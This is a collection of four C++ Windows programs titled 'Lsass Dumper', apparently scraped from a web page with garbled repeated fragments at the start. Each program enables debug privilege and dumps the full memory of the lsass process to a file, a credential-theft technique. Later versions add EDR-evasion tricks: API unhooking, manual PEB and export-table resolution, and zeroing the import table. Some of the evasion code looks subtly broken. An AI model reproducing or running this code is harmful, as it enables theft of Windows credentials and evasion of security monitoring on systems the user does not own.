using namespace std; BOOL EnablePrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) { TOKEN_PRIVILEGES tp; LUID luid; if (!LookupPrivilegeValue(NULL, lpszPrivilege, &luid)) { printf("LookupPrivilegeValue error: %u\n", GetLastError()); return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = bEnablePrivilege ? SE_PRIVILEGE_ENABLED : 0; if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) { printf("AdjustTokenPrivileges error: %u\n", GetLastError()); return FALSE; } if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) { printf("The token does not have the specified privilege.\n"); return FALSE; } return TRUE; } void EnableDebugPrivilege() { HANDLE hToken; if (OpenProcessToken(GetCurrent"> using namespace std; BOOL EnablePrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) { TOKEN_PRIVILEGES tp; LUID luid; if (!LookupPrivilegeValue(NULL, lpszPrivilege, &luid)) { printf("LookupPrivilegeValue error: %u\n", GetLastError()); return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = bEnablePrivilege ? SE_PRIVILEGE_ENABLED : 0; if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) { printf("AdjustTokenPrivileges error: %u\n", GetLastError()); return FALSE; } if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) { printf("The token does not have the specified privilege.\n"); return FALSE; } return TRUE; } void EnableDebugPrivilege() { HANDLE hToken; if (OpenProcessToken(GetCurrent"> using namespace std; BOOL EnablePrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) { TOKEN_PRIVILEGES tp; LUID luid; if (!LookupPrivilegeValue(NULL, lpszPrivilege, &luid)) { printf("LookupPrivilegeValue error: %u\n", GetLastError()); return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = bEnablePrivilege ? SE_PRIVILEGE_ENABLED : 0; if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) { printf("AdjustTokenPrivileges error: %u\n", GetLastError()); return FALSE; } if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) { printf("The token does not have the specified privilege.\n"); return FALSE; } return TRUE; } void EnableDebugPrivilege() { HANDLE hToken; if (OpenProcessToken(GetCurrent">
#include <stdio.h>
#include <Windows.h>
#include <winternl.h>
#include <string.h>
#include <DbgHelp.h>
#pragma comment(lib,"DbgHelp.lib")
#include <iostream>
using namespace std;
BOOL EnablePrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(NULL, lpszPrivilege, &luid))
{
printf("LookupPrivilegeValue error: %u\\n", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = bEnablePrivilege ? SE_PRIVILEGE_ENABLED : 0;
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))
{
printf("AdjustTokenPrivileges error: %u\\n", GetLastError());
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
printf("The token does not have the specified privilege.\\n");
return FALSE;
}
return TRUE;
}
void EnableDebugPrivilege()
{
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
EnablePrivilege(hToken, SE_DEBUG_NAME, TRUE);
CloseHandle(hToken);
}
else
{
printf("Failed to open process token: %d\\n", GetLastError());
}
}
int main()
{
printf("Lsass Dumper\\n");
printf("[*] Elevating Privs\\n");
EnableDebugPrivilege();
DWORD PID;
printf("[!] Please Enter lsass Process ID\\n");
cin >> PID;
HANDLE hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, PID);
if (!hProcess)
{
printf("[-] Faild To Get Handle To lsass Process Closed With Error %d\\n", GetLastError());
}
else
{
printf("[+] Successfully Opened The lsass Porcess For Handle Duplication\\n");
}
HANDLE hEvent = CreateEvent(nullptr, TRUE, FALSE, nullptr);
HANDLE hTarget;
if(DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &hTarget, 0, FALSE, DUPLICATE_SAME_ACCESS))
{
printf("[+] Successfully Duplicated The Handle To The lsass Process\\n");
}
else
{
printf("[-] Faild To Duplicate Handle To lsass Process Closed With Error %d\\n", GetLastError());
}
HANDLE DumpFile = CreateFileA("lsass.dmp", GENERIC_ALL, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (!DumpFile)
{
printf("[-] Failed Creating The Dump File Closed With Error %d\\n",GetLastError());
}
else
{
printf("[+] Successfully Created Dump File\\n");
}
BOOL Dumper = MiniDumpWriteDump(hTarget, PID, DumpFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
if (!Dumper)
{
printf("[-] Failed To Dump lsass Process Closed With Error %d", GetLastError());
}
else
{
printf("[+] Successfully Dumped The lsass Process");
}
}
#include <windows.h>
#include <dbghelp.h>
#include <iostream>
#pragma comment(lib, "DbgHelp.lib")
using namespace std;
typedef BOOL(WINAPI* pMiniDumpWriteDump)(
HANDLE hProcess, DWORD ProcessId, HANDLE hFile, MINIDUMP_TYPE DumpType,
PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,
PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
PMINIDUMP_CALLBACK_INFORMATION CallbackParam);
typedef HANDLE(WINAPI* pOpenProcess)(
DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
void UnhookAPI(LPCSTR moduleName, LPCSTR functionName, void** originalFunc)
{
HMODULE hModule = LoadLibraryA(moduleName);
if (!hModule)
{
printf("[-] Failed to load module: %s. Error: %u\\n", moduleName, GetLastError());
return;
}
FARPROC cleanFunc = GetProcAddress(hModule, functionName);
if (!cleanFunc)
{
printf("[-] Failed to resolve function: %s. Error: %u\\n", functionName, GetLastError());
return;
}
DWORD oldProtect;
if (!VirtualProtect((LPVOID)*originalFunc, 8, PAGE_EXECUTE_READWRITE, &oldProtect))
{
printf("[-] Failed to change memory protection. Error: %u\\n", GetLastError());
return;
}
memcpy((void*)*originalFunc, cleanFunc, 8);
if (!VirtualProtect((LPVOID)*originalFunc, 8, oldProtect, &oldProtect))
{
printf("[-] Failed to restore memory protection. Error: %u\\n", GetLastError());
return;
}
printf("[+] Unhooked function: %s\\n", functionName);
}
int main()
{
printf("Lsass Dumper\\n");
HMODULE hDbgHelp = LoadLibraryA("DbgHelp.dll");
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
if (!hDbgHelp || !hKernel32)
{
printf("[-] Failed to load necessary libraries. Error: %u\\n", GetLastError());
return 1;
}
pMiniDumpWriteDump MiniDumpWriteDump = (pMiniDumpWriteDump)GetProcAddress(hDbgHelp, "MiniDumpWriteDump");
if (!MiniDumpWriteDump)
{
printf("[-] Failed to resolve MiniDumpWriteDump. Error: %u\\n", GetLastError());
return 1;
}
pOpenProcess OpenProcess = (pOpenProcess)GetProcAddress(hKernel32, "OpenProcess");
if (!OpenProcess)
{
printf("[-] Failed to resolve OpenProcess. Error: %u\\n", GetLastError());
return 1;
}
UnhookAPI("DbgHelp.dll", "MiniDumpWriteDump", (void**)&MiniDumpWriteDump);
UnhookAPI("kernel32.dll", "OpenProcess", (void**)&OpenProcess);
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
TOKEN_PRIVILEGES tp;
LUID luid;
if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
{
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
printf("[+] Debug privilege enabled\\n");
}
CloseHandle(hToken);
}
DWORD PID;
printf("[!] Enter lsass process ID: ");
cin >> PID;
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_DUP_HANDLE, FALSE, PID);
if (!hProcess)
{
printf("[-] Failed to open lsass process. Error: %u\\n", GetLastError());
return 1;
}
printf("[+] Opened lsass process\\n");
HANDLE hDumpFile = CreateFileA("lsass.dmp", GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDumpFile == INVALID_HANDLE_VALUE)
{
printf("[-] Failed to create dump file. Error: %u\\n", GetLastError());
CloseHandle(hProcess);
return 1;
}
printf("[+] Created dump file\\n");
if (!MiniDumpWriteDump(hProcess, PID, hDumpFile, MiniDumpWithFullMemory, NULL, NULL, NULL))
{
printf("[-] Failed to dump lsass process. Error: %u\\n", GetLastError());
}
else
{
printf("[+] Successfully dumped lsass process\\n");
}
CloseHandle(hDumpFile);
CloseHandle(hProcess);
return 0;
}
#include <windows.h>
#include <dbghelp.h>
#include <iostream>
#pragma comment(lib, "DbgHelp.lib")
using namespace std;
typedef BOOL(WINAPI* pMiniDumpWriteDump)(
HANDLE hProcess, DWORD ProcessId, HANDLE hFile, MINIDUMP_TYPE DumpType,
PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,
PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
PMINIDUMP_CALLBACK_INFORMATION CallbackParam);
typedef HANDLE(WINAPI* pOpenProcess)(
DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
typedef HANDLE(WINAPI* pCreateFile)(
LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
typedef BOOL(WINAPI* pLookupPrivilegeValue)(
LPCSTR lpSystemName, LPCSTR lpName, PLUID lpLuid);
typedef BOOL(WINAPI* pAdjustTokenPrivileges)(
HANDLE TokenHandle, BOOL DisableAllPrivileges,
PTOKEN_PRIVILEGES NewState, DWORD BufferLength,
PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength);
typedef BOOL(WINAPI* pOpenProcessToken)(
HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle);
typedef struct _PEB_LDR_DATA {
ULONG Length;
BOOLEAN Initialized;
HANDLE SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
LIST_ENTRY HashLinks;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
typedef struct _PEB {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN SpareBool;
HANDLE Mutant;
PVOID ImageBaseAddress;
PPEB_LDR_DATA Ldr;
PVOID ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PVOID FastPebLock;
PVOID AtlThunkSListPtr;
PVOID SparePtr2;
ULONG EnvironmentUpdateCount;
PVOID KernelCallbackTable;
ULONG SystemReserved[1];
ULONG ExecuteOptions : 2;
ULONG SpareBits : 30;
PPEB_LDR_DATA LdrData;
} PEB, * PPEB;
HMODULE CustomGetModuleHandle(LPCSTR moduleName)
{
PPEB peb = (PPEB)__readgsqword(0x60);
PPEB_LDR_DATA ldr = peb->Ldr;
for (PLIST_ENTRY listEntry = ldr->InMemoryOrderModuleList.Flink;
listEntry != &ldr->InMemoryOrderModuleList;
listEntry = listEntry->Flink)
{
PLDR_DATA_TABLE_ENTRY moduleEntry = CONTAINING_RECORD(listEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
if (_stricmp((char*)moduleEntry->BaseDllName.Buffer, moduleName) == 0)
{
return (HMODULE)moduleEntry->DllBase;
}
}
return NULL;
}
FARPROC CustomGetProcAddress(HMODULE hModule, LPCSTR functionName)
{
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + dosHeader->e_lfanew);
PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
DWORD* names = (DWORD*)((BYTE*)hModule + exportDir->AddressOfNames);
WORD* ordinals = (WORD*)((BYTE*)hModule + exportDir->AddressOfNameOrdinals);
DWORD* functions = (DWORD*)((BYTE*)hModule + exportDir->AddressOfFunctions);
for (DWORD i = 0; i < exportDir->NumberOfNames; i++)
{
char* name = (char*)((BYTE*)hModule + names[i]);
if (_stricmp(name, functionName) == 0)
{
return (FARPROC)((BYTE*)hModule + functions[ordinals[i]]);
}
}
return NULL;
}
void HideIAT()
{
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)GetModuleHandle(NULL);
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)dosHeader + dosHeader->e_lfanew);
PIMAGE_IMPORT_DESCRIPTOR importDesc = (PIMAGE_IMPORT_DESCRIPTOR)((BYTE*)dosHeader +
ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
while (importDesc->Name)
{
PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)((BYTE*)dosHeader + importDesc->FirstThunk);
while (thunk->u1.Function)
{
DWORD oldProtect;
VirtualProtect((LPVOID)&thunk->u1.Function, sizeof(LPVOID), PAGE_EXECUTE_READWRITE, &oldProtect);
memset((void*)&thunk->u1.Function, 0, sizeof(LPVOID)); // Clear the function address
VirtualProtect((LPVOID)&thunk->u1.Function, sizeof(LPVOID), oldProtect, &oldProtect);
thunk++;
}
importDesc++;
}
printf("[+] IAT entries hidden.\\n");
}
int main()
{
printf("Lsass Dumper\\n");
// Hide the IAT
HideIAT();
// Dynamically resolve and unhook APIs
HMODULE hKernel32 = CustomGetModuleHandle("kernel32.dll");
HMODULE hDbgHelp = CustomGetModuleHandle("DbgHelp.dll");
HMODULE hAdvapi32 = CustomGetModuleHandle("Advapi32.dll");
if (!hKernel32 || !hDbgHelp || !hAdvapi32)
{
printf("[-] Failed to load necessary libraries. Error: %u\\n", GetLastError());
return 1;
}
// Resolve APIs dynamically
pMiniDumpWriteDump MiniDumpWriteDump = (pMiniDumpWriteDump)CustomGetProcAddress(hDbgHelp, "MiniDumpWriteDump");
pOpenProcess OpenProcess = (pOpenProcess)CustomGetProcAddress(hKernel32, "OpenProcess");
pCreateFile CreateFile = (pCreateFile)CustomGetProcAddress(hKernel32, "CreateFileA");
pOpenProcessToken OpenProcessToken = (pOpenProcessToken)CustomGetProcAddress(hAdvapi32, "OpenProcessToken");
pLookupPrivilegeValue LookupPrivilegeValue = (pLookupPrivilegeValue)CustomGetProcAddress(hAdvapi32, "LookupPrivilegeValueA");
pAdjustTokenPrivileges AdjustTokenPrivileges = (pAdjustTokenPrivileges)CustomGetProcAddress(hAdvapi32, "AdjustTokenPrivileges");
if (!MiniDumpWriteDump || !OpenProcess || !CreateFile || !OpenProcessToken ||
!LookupPrivilegeValue || !AdjustTokenPrivileges)
{
printf("[-] Failed to resolve necessary APIs. Exiting...\\n");
return 1;
}
printf("[+] APIs resolved dynamically.\\n");
// Get lsass process ID
DWORD PID;
printf("[!] Enter lsass process ID: ");
cin >> PID;
// Open the lsass process
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, PID);
if (!hProcess)
{
printf("[-] Failed to open lsass process. Error: %u\\n", GetLastError());
return 1;
}
printf("[+] Opened lsass process.\\n");
// Create dump file
HANDLE hDumpFile = CreateFile("lsass.dmp", GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDumpFile == INVALID_HANDLE_VALUE)
{
printf("[-] Failed to create dump file. Error: %u\\n", GetLastError());
CloseHandle(hProcess);
return 1;
}
printf("[+] Created dump file.\\n");
// Dump the process memory
if (!MiniDumpWriteDump(hProcess, PID, hDumpFile, MiniDumpWithFullMemory, NULL, NULL, NULL))
{
printf("[-] Failed to dump lsass process. Error: %u\\n", GetLastError());
}
else
{
printf("[+] Successfully dumped lsass process.\\n");
}
CloseHandle(hDumpFile);
CloseHandle(hProcess);
return 0;
}
#include <windows.h>
#include <dbghelp.h>
#include <iostream>
#pragma comment(lib, "DbgHelp.lib")
#include <malloc.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
using namespace std;
typedef BOOL(WINAPI* pMiniDumpWriteDump)(
HANDLE hProcess, DWORD ProcessId, HANDLE hFile, MINIDUMP_TYPE DumpType,
PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,
PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
PMINIDUMP_CALLBACK_INFORMATION CallbackParam);
typedef HANDLE(WINAPI* pOpenProcess)(
DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
typedef HANDLE(WINAPI* pCreateFile)(
LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
typedef BOOL(WINAPI* pLookupPrivilegeValue)(
LPCSTR lpSystemName, LPCSTR lpName, PLUID lpLuid);
typedef BOOL(WINAPI* pAdjustTokenPrivileges)(
HANDLE TokenHandle, BOOL DisableAllPrivileges,
PTOKEN_PRIVILEGES NewState, DWORD BufferLength,
PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength);
typedef BOOL(WINAPI* pOpenProcessToken)(
HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle);
struct PEB_LDR_DATA
{
ULONG Length;
BOOLEAN Initialized;
HANDLE SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID EntryInProgress;
BOOLEAN ShutdownInProgress;
HANDLE ShutdownThreadId;
};
struct PEB
{
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
union
{
BOOLEAN BitField;
struct
{
BOOLEAN ImageUsesLargePages : 1;
BOOLEAN IsProtectedProcess : 1;
BOOLEAN IsImageDynamicallyRelocated : 1;
BOOLEAN SkipPatchingUser32Forwarders : 1;
BOOLEAN IsPackagedProcess : 1;
BOOLEAN IsAppContainer : 1;
BOOLEAN IsProtectedProcessLight : 1;
BOOLEAN SpareBits : 1;
};
};
HANDLE Mutant;
PVOID ImageBaseAddress;
PEB_LDR_DATA* Ldr;
};
struct UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWCH Buffer;
};
struct LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
union
{
LIST_ENTRY InInitializationOrderLinks;
LIST_ENTRY InProgressLinks;
};
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
};
typedef HMODULE(WINAPI* LoadLibrary_t)(LPCSTR lpFileName);
LoadLibrary_t pLoadLibraryA = NULL;
HMODULE WINAPI hlpGetModuleHandle(LPCWSTR sModuleName) {
#ifdef _M_IX86
PEB* ProcEnvBlk = (PEB*)__readfsdword(0x30);
#else
PEB* ProcEnvBlk = (PEB*)__readgsqword(0x60);
#endif
if (sModuleName == NULL)
return (HMODULE)(ProcEnvBlk->ImageBaseAddress);
PEB_LDR_DATA* Ldr = ProcEnvBlk->Ldr;
LIST_ENTRY* ModuleList = NULL;
ModuleList = &Ldr->InMemoryOrderModuleList;
LIST_ENTRY* pStartListEntry = ModuleList->Flink;
for (LIST_ENTRY* pListEntry = pStartListEntry; // start from beginning of InMemoryOrderModuleList
pListEntry != ModuleList; // walk all list entries
pListEntry = pListEntry->Flink) {
// get current Data Table Entry
LDR_DATA_TABLE_ENTRY* pEntry = (LDR_DATA_TABLE_ENTRY*)((BYTE*)pListEntry - sizeof(LIST_ENTRY));
// check if module is found and return its base address
if (lstrcmpiW(pEntry->BaseDllName.Buffer, sModuleName) == 0)
return (HMODULE)pEntry->DllBase;
}
// otherwise:
return NULL;
}
FARPROC WINAPI hlpGetProcAddress(HMODULE hMod, char* sProcName) {
char* pBaseAddr = (char*)hMod;
// get pointers to main headers/structures
IMAGE_DOS_HEADER* pDosHdr = (IMAGE_DOS_HEADER*)pBaseAddr;
IMAGE_NT_HEADERS* pNTHdr = (IMAGE_NT_HEADERS*)(pBaseAddr + pDosHdr->e_lfanew);
IMAGE_OPTIONAL_HEADER* pOptionalHdr = &pNTHdr->OptionalHeader;
IMAGE_DATA_DIRECTORY* pExportDataDir = (IMAGE_DATA_DIRECTORY*)(&pOptionalHdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]);
IMAGE_EXPORT_DIRECTORY* pExportDirAddr = (IMAGE_EXPORT_DIRECTORY*)(pBaseAddr + pExportDataDir->VirtualAddress);
// resolve addresses to Export Address Table, table of function names and "table of ordinals"
DWORD* pEAT = (DWORD*)(pBaseAddr + pExportDirAddr->AddressOfFunctions);
DWORD* pFuncNameTbl = (DWORD*)(pBaseAddr + pExportDirAddr->AddressOfNames);
WORD* pHintsTbl = (WORD*)(pBaseAddr + pExportDirAddr->AddressOfNameOrdinals);
// function address we're looking for
void* pProcAddr = NULL;
// resolve function by ordinal
if (((DWORD_PTR)sProcName >> 16) == 0) {
WORD ordinal = (WORD)sProcName & 0xFFFF; // convert to WORD
DWORD Base = pExportDirAddr->Base; // first ordinal number
// check if ordinal is not out of scope
if (ordinal < Base || ordinal >= Base + pExportDirAddr->NumberOfFunctions)
return NULL;
// get the function virtual address = RVA + BaseAddr
pProcAddr = (FARPROC)(pBaseAddr + (DWORD_PTR)pEAT[ordinal - Base]);
}
// resolve function by name
else {
// parse through table of function names
for (DWORD i = 0; i < pExportDirAddr->NumberOfNames; i++) {
char* sTmpFuncName = (char*)pBaseAddr + (DWORD_PTR)pFuncNameTbl[i];
if (strcmp(sProcName, sTmpFuncName) == 0) {
// found, get the function virtual address = RVA + BaseAddr
pProcAddr = (FARPROC)(pBaseAddr + (DWORD_PTR)pEAT[pHintsTbl[i]]);
break;
}
}
}
// check if found VA is forwarded to external library.function
if ((char*)pProcAddr >= (char*)pExportDirAddr &&
(char*)pProcAddr < (char*)(pExportDirAddr + pExportDataDir->Size)) {
char* sFwdDLL = _strdup((char*)pProcAddr); // get a copy of library.function string
if (!sFwdDLL) return NULL;
// get external function name
char* sFwdFunction = strchr(sFwdDLL, '.');
*sFwdFunction = 0; // set trailing null byte for external library name -> library\\x0function
sFwdFunction++; // shift a pointer to the beginning of function name
// resolve LoadLibrary function pointer, keep it as global variable
if (pLoadLibraryA == NULL) {
pLoadLibraryA = (LoadLibrary_t)hlpGetProcAddress(hlpGetModuleHandle(L"KERNEL32.DLL"), "LoadLibraryA");
if (pLoadLibraryA == NULL) return NULL;
}
// load the external library
HMODULE hFwd = pLoadLibraryA(sFwdDLL);
free(sFwdDLL); // release the allocated memory for lib.func string copy
if (!hFwd) return NULL;
// get the address of function the original call is forwarded to
pProcAddr = hlpGetProcAddress(hFwd, sFwdFunction);
}
return (FARPROC)pProcAddr;
}
BOOL EnablePrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(NULL, lpszPrivilege, &luid))
{
printf("LookupPrivilegeValue error: %u\\n", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = bEnablePrivilege ? SE_PRIVILEGE_ENABLED : 0;
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))
{
printf("AdjustTokenPrivileges error: %u\\n", GetLastError());
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
printf("The token does not have the specified privilege.\\n");
return FALSE;
}
return TRUE;
}
void EnableDebugPrivilege()
{
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
EnablePrivilege(hToken, SE_DEBUG_NAME, TRUE);
CloseHandle(hToken);
}
else
{
printf("Failed to open process token: %d\\n", GetLastError());
}
}
int main()
{
printf("Lsass Dumper\\n");
// Enable Debug Privileges
EnableDebugPrivilege();
// Resolve APIs dynamically
pMiniDumpWriteDump MiniDumpWriteDump = (pMiniDumpWriteDump)hlpGetProcAddress(hlpGetModuleHandle(L"DbgHelp.dll"), "MiniDumpWriteDump");
pOpenProcess OpenProcess = (pOpenProcess)hlpGetProcAddress(hlpGetModuleHandle(L"kernel32.dll"), "OpenProcess");
pCreateFile CreateFile = (pCreateFile)hlpGetProcAddress(hlpGetModuleHandle(L"kernel32.dll"), "CreateFileA");
if (!MiniDumpWriteDump || !OpenProcess || !CreateFile)
{
printf("[-] Failed to resolve necessary APIs. Exiting...\\n");
return 1;
}
printf("[+] APIs resolved successfully.\\n");
// Get lsass process ID
DWORD PID;
printf("[!] Enter lsass process ID: ");
cin >> PID;
// Open the lsass process
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, PID);
if (!hProcess)
{
printf("[-] Failed to open lsass process. Error: %u\\n", GetLastError());
return 1;
}
printf("[+] Opened lsass process.\\n");
// Create dump file
HANDLE hDumpFile = CreateFile("lsass.dmp", GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDumpFile == INVALID_HANDLE_VALUE)
{
printf("[-] Failed to create dump file. Error: %u\\n", GetLastError());
CloseHandle(hProcess);
return 1;
}
printf("[+] Created dump file.\\n");
// Dump the process memory
if (!MiniDumpWriteDump(hProcess, PID, hDumpFile, MiniDumpWithFullMemory, NULL, NULL, NULL))
{
printf("[-] Failed to dump lsass process. Error: %u\\n", GetLastError());
}
else
{
printf("[+] Successfully dumped lsass process.\\n");
}
CloseHandle(hDumpFile);
CloseHandle(hProcess);
return 0;
}